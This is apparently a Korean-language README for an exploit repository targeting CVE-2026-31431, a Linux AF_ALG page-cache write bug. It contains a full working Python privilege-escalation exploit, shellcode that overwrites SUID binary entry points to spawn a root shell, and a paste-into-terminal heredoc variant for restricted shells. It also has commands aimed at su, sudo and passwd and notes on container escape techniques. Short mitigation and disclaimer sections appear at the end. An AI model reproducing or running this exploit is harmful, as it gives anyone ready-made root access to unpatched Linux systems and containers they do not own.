
CVE-2026-31431 복사 실패 — 범용 LPE 익스플로잇. 동적 ELF 오프셋 + 전체 바이너리 덮어쓰기, ctypes splice 폴백과 함께 Python 2/3 호환
Linux 커널 페이지 캐시 4바이트 임의 쓰기 → 로컬 권한 상승
여러 익스플로잇 접근 방식: 동적 ELF 엔트리 포인트 덮어쓰기, 전체 바이너리 교체, ctypes splice 폴백을 지원하는 Python 3.x 호환.
CVE-2026-31431은 Linux 커널의 AF_ALG 암호화 서브시스템의 취약점입니다. splice() + authencesn 제자리 복호화를 남용함으로써, 권한이 없는 사용자가 커널의 페이지 캐시 — 모든 파일 기반 메모리에 사용되는 동일한 캐시 — 의 임의 오프셋에 4바이트를 쓸 수 있습니다.
이는 다음을 의미합니다:
이 저장소는 동일한 AF_ALG copy-fall 프리미티브를 사용하는 세 가지 도구를 제공합니다:
| 동적 엔트리 포인트 | 전체 바이너리 교체 | 취약점 검사기 | |
|---|---|---|---|
| 파일 | exploit.py | poc_compatible.py | check_cve.sh |
| 전략 | ELF 엔트리 포인트를 셸코드로 덮어씀 | 오프셋 0부터 전체 바이너리 교체 | 대상이 취약한지 테스트 |
| 대상 | 모든 x86_64 SUID 바이너리 | 모든 바이너리 (SUID 여부 무관) | 해당 없음 |
| Python | 3.x (모든 버전) | 2 / 3 | Bash |
| 페이로드 | 36바이트 셸코드 | zlib 압축 전체 ELF | 해당 없음 |
| 작성자 | 본 작업 | h4ppy7ree | h4ppy7ree |
동적 엔트리 포인트 — 런타임에 ELF 헤더를 파싱하여 엔트리 포인트 파일 오프셋(p_offset + (e_entry - p_vaddr))을 계산한 다음, 작은 셸코드 스텁을 씁니다. 하드코딩된 오프셋 없음 — 배포판이나 버전에 관계없이 모든 x86_64 SUID 바이너리에서 작동하는 단일 스크립트.
전체 바이너리 교체 — 오프셋 0부터 완전히 사전 빌드된 ELF 페이로드(zlib 압축 및 스크립트에 내장)로 대상을 덮어씁니다. 권한 있는 프로세스(cron 작업, systemd 서비스, kube-proxy)가 실행하는 비-SUID 바이너리를 대상으로 할 수 있습니다. Python 2에서 작동.
취약점 검사기 — 익스플로잇을 실행하기 전에 대상 시스템에 AF_ALG, authencesn, algif_aead가 있는지 테스트합니다.
exploit.py용; Python 2는 poc_compatible.py로 지원)/usr/bin/su, /usr/bin/sudo 등)# 권한 없는 사용자로 테스트 컨테이너 생성
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
printf("uid=%d euid=%d\\n", getuid(), geteuid());
printf("Not rooted - exploit entry point to get shell\\n");
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'
그런 다음 컨테이너 내부에서 testuser로:
# 실행 전: 실제 uid가 0이 아니므로 setuid(0) 실패
/usr/local/bin/verify
# uid=1000 euid=0
# (정상 종료, root 없음)
# 익스플로잇 실행
python3 exploit.py /usr/local/bin/verify
# 실행 후: 엔트리 포인트 덮어쓰기, 셸코드가 root 획득
# uid=0(root) gid=1000(testuser)
실제 시나리오에서는 종종 원시 셸만 있을 뿐 — scp, curl, wget이 없습니다. 이 방법은 cat heredoc을 사용하여 터미널에 직접 익스플로잇을 작성합니다:
# 옵션 1: 셸 스크립트 실행
sh exploit-one-liner.sh /usr/local/bin/verify
# 옵션 2: 터미널에 직접 붙여넣기 (전체 블록 복사)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
_l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
if r==-1:raise OSError(ctypes.get_errno(),'splice')
return r
os.splice=_s
def d(x):
if isinstance(x,str):x=x.encode('ascii')
return binascii.unhexlify(x)
def w(t,o,p):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
u,_=s.accept();z=d('00')
u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
try:u.recv(8+o)
except:0
[os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for i in range(n):
f.seek(p+i*sz);ph=f.read(sz)
if struct.unpack_from('<I',ph,0)[0]!=1: continue
pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY
python3 /tmp/exploit.py /usr/local/bin/verify
이것이 중요한 이유: 컨테이너 환경에는 파일 전송 도구(
scp,curl,wget)가 없는 경우가 많습니다. heredoc 방식은cat과python3만 있으면 됩니다 — 어디에나 있습니다.
/usr/local/bin/verify를 모든 SUID-root 바이너리로 교체할 수 있습니다:
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh
⚠️ 경고: 시스템 SUID 바이너리(예:
/usr/bin/su)를 대상으로 하면 시스템의 모든 사용자에게 영향을 미칩니다. 페이지 캐시가 지워질 때까지 바이너리를 사용할 수 없게 됩니다. 호스트 머신에서su를 실행하는 모든 사용자가 root 셸을 얻을 수 있습니다.공유/프로덕션 시스템에서는 즉시 눈에 띕니다 —
su가 충돌하거나 모든 사용자에게 예기치 않은 셸을 생성합니다. 안전한 테스트에는verify.c를 사용하세요.
익스플로잇은 페이지 캐시(메모리)만 수정하며 디스크는 수정하지 않습니다. 복구 옵션:
# 호스트에서 (컨테이너 테스트 후):
echo 3 | sudo tee /proc/sys/vm/drop_caches
# 복구 확인:
xxd -l 8 /usr/bin/su
# 표시되어야 함: 7f45 4c46 (.ELF)
참고: 기본(비권한) 컨테이너 내부에서는
echo 3 > /proc/sys/vm/drop_caches가Read-only file system오류로 실패합니다 — 호스트 접근 또는 컨테이너 삭제가 필요합니다.
커널의 authencesn AEAD 알고리즘에는 제자리 복호화 경로에 버그가 있습니다:
authencesn(hmac(sha256), cbc(aes))로 AF_ALG 소켓을 생성splice()를 호출하여 파일 데이터를 암호화 소켓에 공급 — 이는 페이지 캐시 페이지를 커널의 scatterlist에 직접 매핑authencesn이 인증 태그 뒤에 4바이트의 seqno_lo를 씁니다결과: 페이지 캐시 파일에 대한 4바이트 임의 쓰기.
┌─────────────────────────────────────────────────────┐
│ ELF 바이너리 (/usr/bin/su) │
│ │
│ 0x0000: ┌──────────┐ │
│ │ ELF 헤더 │ e_entry = 0x4013f0 │
│ │ │ ← 동적으로 파싱 │
│ └──────────┘ │
│ ... │
│ 0x3f20: ┌──────────┐ ← 계산된 파일 오프셋 │
│ │ 원본 코드 │ │
│ │ │ ─── copy fall 쓰기 ───→ │
│ │ 셸코드 │ setuid(0) + execve("/bin/sh")│
│ └──────────┘ │
│ ... │
└─────────────────────────────────────────────────────┘
커널이 SUID 바이너리를 로드할 때 euid=0을 설정한 다음 엔트리 포인트로 점프합니다.
엔트리 포인트는 이제 우리의 셸코드 → setuid(0) 성공 → root 셸.
xor rdi, rdi ; uid = 0
xor eax, eax
mov al, 0x69 ; __NR_setuid
syscall ; setuid(0)
xor rdx, rdx
push rdx ; null 종결자
movabs rbx, "/bin/sh\0"
push rbx
mov rdi, rsp ; 파일 이름
xor rsi, rsi ; argv = NULL
xor eax, eax
mov al, 0x3b ; __NR_execve
syscall ; execve("/bin/sh", NULL, NULL)
36바이트, 9회의 copy-fall 쓰기(각 4바이트).
기본 Docker 컨테이너는 이 공격으로부터 보호되지 않습니다:
| 보호 | 상태 |
|---|---|
| Seccomp | ✅ AF_ALG 기본 허용 |
| 사용자 네임스페이스 | ❌ 기본 Docker에서 사용되지 않음 |
| AppArmor/SELinux | ❌ AF_ALG를 제한하지 않음 |
| Capability 삭제 | ❌ 특별한 cap 필요 없음 |
컨테이너 탈출을 막는 유일한 것은 overlayfs의 마운트별 페이지 캐시 격리입니다. 그러나 컨테이너 내부에서 root를 얻으면 표준 탈출 기술(cgroup release_agent, docker.sock, K8s serviceaccount 토큰, 클라우드 메타데이터)이 적용됩니다.
algif_aead 제자리 변환(약 2017년 병합) 이후의 모든 Linux 커널, 다음을 포함:
.
├── exploit.py # 동적 ELF 엔트리 포인트 덮어쓰기 (Python 3.x)
├── exploit-one-liner.sh # 붙여넣기 친화적 버전 (파일 전송 불필요)
├── poc_compatible.py # 오프셋 0부터 전체 ELF 바이너리 덮어쓰기 (Python 2/3, h4ppy7ree 작성)
├── poc_ctypes.py # Python 3.0-3.9용 ctypes splice (h4ppy7ree 작성)
├── check_cve.sh # 취약점 검사기 (h4ppy7ree 작성)
├── verify/
│ └── verify.c # 테스트용 SUID 검증 프로그램
└── README.md # 이 파일
AF_ALG 도메인 차단 (socket(AF_ALG, ...) → errno)af_alg 소켓 생성 거부CONFIG_CRYPTO_USER_API_AEAD=nsocket(AF_ALG=38, SOCK_SEQPACKET=5, 0) syscall 감사이 익스플로잇은 승인된 보안 연구 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 이 프로그램의 오용이나 손해에 대해 책임을 지지 않으며 책임이 없습니다.
MIT
| 방법 | 위치 | 명령 |
|---|
| 페이지 캐시 삭제 | 호스트 (root) | echo 3 > /proc/sys/vm/drop_caches |
| 재부팅 | 어디서나 | reboot — 페이지 캐시는 휘발성 |
| 컨테이너 삭제 | 어디서나 | docker rm — 페이지 캐시는 컨테이너와 함께 해제 |
| 벡터 | 작동? | 세부 사항 |
|---|
| LPE (로컬 사용자 → root) | ✅ 예 | SUID 바이너리 엔트리 포인트 덮어쓰기 |
| 컨테이너 탈출 (기본) | ❌ 아니요 | overlayfs 마운트별 페이지 캐시 격리 |
| 컨테이너 탈출 (호스트 쓰기) | ✅ 예 | 호스트에서 /proc/PID/root/를 통해 쓰기 |
| 크로스 컨테이너 (호스트 쓰기) | ✅ 예 | 동일 inode → 공유 하위 레이어 페이지 캐시 |